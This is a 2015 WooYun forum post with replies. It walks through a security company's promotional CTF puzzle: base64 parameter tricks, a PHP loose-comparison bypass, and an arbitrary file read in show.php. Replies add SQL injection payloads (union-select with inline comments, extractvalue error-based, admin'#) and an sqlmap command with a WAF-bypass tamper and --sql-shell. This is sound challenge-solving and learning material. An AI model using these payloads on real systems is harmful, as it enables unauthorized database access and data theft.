安全宝约宝妹之代码审计题解

  • A+
所属分类:WooYun-Zone

昨天下午本来就要发的,因为游戏规则没有发出来,看到有人发了就发一下吧

第一次玩游戏,简单的记录一下。。

地址:http://yuebaomei.com/

如下图

安全宝约宝妹之代码审计题解

首先咱是男同胞,就选

然后问你为什么现有男人

安全宝约宝妹之代码审计题解

当然是因为先生

此时就要输入答案了,让你在本也中找,打开页面源码,毛都没有

然后打开调试,在js里面找找

果然找到了一个暧昧的字符串:wo ai anquanbao

安全宝约宝妹之代码审计题解

然后输入,果然弄对了。。。

安全宝约宝妹之代码审计题解

然后就是下一题了,应该是一个图片,但是被限制访问了

安全宝约宝妹之代码审计题解

这里卡了一下,去找什么绕过工具了,搞了半天不行啊

然后有打开调试,看到有一个请求:

http://yuebaomei.com/show.php?p=dGlzaGkucG5n

安全宝约宝妹之代码审计题解

提示了yuehui.png,直接访问这个是不行的

然后注意到上面那个连接的p参数值,base64解码后是tishi.png

那么就知道了这个yuehui.png应该是一个最终的图片,我们也base64编码一下

其实在上面的图片就已经提示你了,yuehui.png了

http://yuebaomei.com/show.php?p=dGlzaGkucG5n

http://yuebaomei.com/show.php?p=tishi.png

http://yuebaomei.com/show.php?p=yuehui.png

http://yuebaomei.com/show.php?p=eXVlaHVpLnBuZw==

然后访问最后的url:

http://yuebaomei.com/show.php?p=eXVlaHVpLnBuZw==最后就跳转到了正确的页面了

安全宝约宝妹之代码审计题解

此时你已经可以和宝妹约会了,嘿嘿~~

看到后面还有终极大奖,然后就继续答题,看看是啥大奖。。。

后面有3中类型的题,我们选代码审计

安全宝约宝妹之代码审计题解

这里有代码提示:

http://q5c.yuebaomei.com/

<?php

$flag = "THIS IS FLAG";

if  ("POST" == $_SERVER['REQUEST_METHOD'])

{

$password = $_POST['password'];

if (0 >= preg_match('/^[[:graph:]]{12,}$/', $password))

{

echo 'Wrong Format';

exit;

}

while (TRUE)

{

$reg = '/([[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:lower:]]+)/';

if (6 > preg_match_all($reg, $password, $arr))

break;

$c = 0;

$ps = array('punct', 'digit', 'upper', 'lower');

foreach ($ps as $pt)

{

if (preg_match("/[[:$pt:]]+/", $password))

$c += 1;

}

if ($c < 3) break;

if ("42" == $password) echo $flag;

else echo 'Wrong password';

exit;

}

}

?>

这里的意思就是:

接收post参数password的值

必须满足12位以上字符

必须是非空格非TAB之外的内容([:graph:]代表printable and visible的字符,鸟哥书上说是除空格符(空格键与[TAB]键)之外的所有按键)

然后就是你的password要有大小写数字,字符内容,而且匹配到的次数要大于6次

最后才是这里的考点:

if ("42" == $password) echo $flag;

else echo 'Wrong password';

乍一看这里的password怎么等于42咧,还有人说这写错了。。。

其实这里使用fuzz就好了,你就让他满足上面的规则慢慢跑就行了

首先你想到,什么东西能等于42咧?

我能想到的:

var_dump("42" == "0x2a");

var_dump("42" == "42.0e");

然后第一个试了好几次没成功

使用第二个

var_dump("42" == "42.0e0000");

var_dump("42" == "42.00e0000");

var_dump("42" == "42.00e+");

var_dump("42" == "42.00e+00000000000);

ok,最后的答案就是:42.00e+00000000000

当然也可以这样:420.000000000e-1

然后们在http://q5c.yuebaomei.com/页面输入上面的答案,得到:

women ai baomei

安全宝约宝妹之代码审计题解

看到这个答案也是醉了。。。。

最后在输入答案women ai baomei就过关了

安全宝约宝妹之代码审计题解

然后是sql注入和android的题,android的题不会做

chu牛谁sql注入的可以这样:

python ./sqlmap.py -u "http://yuebaomei.ztx.io/login" --data "username=admin&password=a" --tamper=modsecurityversioned.py -D test -T users --sql-shell

晚上回去测试的时候,题目已经加固不行了。。。

大牛们还有啥好技巧放出来,还有其他两个类型的题,已经人做出来了的,来分享一下

  1. 1#

    Chu (学习ing。) | 2015-02-13 16:51

    sql 最开始挺简单的,手测内联注释可以过,然后就直接 tamper 了。后来木有看… 审计的.. 无耻的拉个点击率, http://sh3ll.me/2015/02/12/php-weak-typing/,之前 drops 里有看到.

  2. 2#

    My5t3ry | 2015-02-13 16:52

    发下我的,php代码审计的
    +42.0000000000e0
    SQL注入:
    username=admin\&password=union/*!50000select*/1,group_concat(username,0x7c,password),3/*!50000from*/users%23

  3. 3#

    Tea (◆冃.狌.交.伖,释.鲂.压.劦、棑.解.漃.瘼◆ 真 人】视||频. █网.址:wWw. wooyun.Org◆@程序员段子 xSsEr@Wooyun ┋◆冃.狌.交.伖,释.鲂.压.劦、棑.解.漃.瘼◆ 真 人】视||频. █网.址:zOnE.wooyun.Org◆┋) | 2015-02-13 16:53

    昨天可以。
    username=1′,extractvalue(1,concat(0x7e,(select{x password}from{x test.users} where username=’admin’))))#&password=111
    这样。
    http://zone.wooyun.org/content/18601

  4. 4#

    Tea (◆冃.狌.交.伖,释.鲂.压.劦、棑.解.漃.瘼◆ 真 人】视||频. █网.址:wWw. wooyun.Org◆@程序员段子 xSsEr@Wooyun ┋◆冃.狌.交.伖,释.鲂.压.劦、棑.解.漃.瘼◆ 真 人】视||频. █网.址:zOnE.wooyun.Org◆┋) | 2015-02-13 16:54

    @My5t3ry +42.0e000000一路值。。

  5. 5#

    My5t3ry | 2015-02-13 17:05

    另外那个http://yuebaomei.com/show.php可以读任意文件源码,
    show.php/check.php等

  6. 6#

    My5t3ry | 2015-02-13 17:06

    <?php
      $q = $_POST["q"];
      $a = $_POST["a"];

      $pkey_path = "/path/to/rsa/private/key";

      function check_question_number($num)
      {
        $arr = array("1", "2", "3");
        foreach ($arr as $n)
        {
          if (!strcmp($num, $n))
            return TRUE;
        }

        return FALSE;
      }

      $ans = array("answer1", "answer2", "answer3");

      $response = array( "success" => FALSE, "data" => array("code" => "0"), "message" => "" );

      if (NULL == $q or NULL == $a)
      {
        $response["success"] = FALSE;
        $response["message"] = "empty parameter";
      }
      else if (!check_question_number($q))
      {
        $response["success"] = FALSE;
        $response["message"] = "wrong parameter";
      }
      else
      {
        $answer = $ans[$q - 1];
        if (!strcmp($a, $answer))
        {
          $private_key = openssl_pkey_get_private(file_get_contents($pkey_path));
          $strong = TRUE;
          $token = "AQB:" . base64_encode(openssl_random_pseudo_bytes(12, $strong));

          openssl_private_encrypt($token, $verify_code, $private_key);

          $response["success"] = TRUE;
          $response["data"]["code"] = base64_encode($verify_code);
          $response["message"] = "ok";
        }
        else
        {
          $response["success"] = FALSE;
          $response["message"] = "WRONG ANSWER";
        }
      }

      header("Content-Type: application/json");
      echo json_encode($response);
    ?>
    昨天读了check.php开始挺高兴,然后就没有然后了。。。。。。。。

  7. 7#

    Chu (学习ing。) | 2015-02-13 17:08

    @My5t3ry 哈哈哈,我也是…. 我还 sb 的测试读别的文件…

  8. 8#

    晶晶妹 (安全宝带盐人) | 2015-02-13 17:10

    没想到安全宝的所有题目分析还会在乌云上做讨论,开始我怎么就没想到呢,我好白痴啊。。。错过了营销的机会

  9. 9#

    MayIKissYou (“><svg>) | 2015-02-13 17:10

    安全宝约宝妹之代码审计题解
    那页面貌似关了,share下我的吧

  10. 10#

    px1624 (aaaaaaaaa) | 2015-02-13 17:10

    去约会吧,你还得去北京

  11. 11#

    xfkxfk | 2015-02-13 17:12

    @My5t3ry @Chu 这是作者故意的吧。。。

  12. 12#

    hkAssassin | 2015-02-13 17:13

    奖品是啥!

  13. 13#

    lull | 2015-02-13 17:24

    读文件那个是故意的

  14. 14#

    小小泥娃 (努力学习中的高中生) | 2015-02-13 17:25

    @Chu 那个是模拟的任意文件读取漏洞吧?感觉并不是一个真实的漏洞存在

  15. 15#

    lull | 2015-02-13 17:25

    show-me-the-jingjing.php 可以直接过关的,貌似没人发现嘻嘻

  16. 16#

    xfkxfk | 2015-02-13 17:28

    @lull 这名字谁谁能fuzz出来。。。醉了。。。

  17. 17#

    Matt | 2015-02-13 17:33

    @晶晶妹 你就是这个宝妹?

  18. 18#

    晶晶妹 (安全宝带盐人) | 2015-02-13 17:37

    @Matt 公司里的所有妹纸,都是宝妹。。。。我只是其中一个宝妹

  19. 19#

    小小泥娃 (努力学习中的高中生) | 2015-02-13 18:00

    @lull 醉了。。

  20. 20#

    Mr .LZH (‮……肉肉) | 2015-02-13 21:02

    我也是 fuzz了一整晚,使用了多种数值表示方式,例如0x0002A 和0004.2000E001这种,但就+0x0002A这种方式不等于42,我就没尝试+0004.2000E001,错过了啊,哭死

  21. 21#

    泳少 (此号被射!by U神) | 2015-02-13 21:17

    @晶晶妹 来约~

  22. 22#

    My5t3ry | 2015-02-13 23:17

    @xfkxfk 如果是我我也会这么干 太贱了

  23. 23#

    晶晶妹 (安全宝带盐人) | 2015-02-14 15:26

    @lull 你是怎么知道的?说实话,我都没发现技术这么在我面前做过

  24. 24#

    乌帽子 (业精于勤而荒于嬉,行成于思而毁于随。) | 2015-02-14 15:50

    sql注入的直接admin’#就ok了

  25. 25#

    晶晶妹 (安全宝带盐人) | 2015-02-14 16:00

    @乌帽子 sql的题有那么简单?但做sql的人并不多啊。。。

  26. 26#

    Xc0d3r | 2015-02-16 21:26

    @晶晶妹 sqli绕过方法很多,但绝不是 @乌帽子 的方法

  27. 27#

    wefgod (求大牛指点) | 2015-02-18 14:03

    看看大牛们做题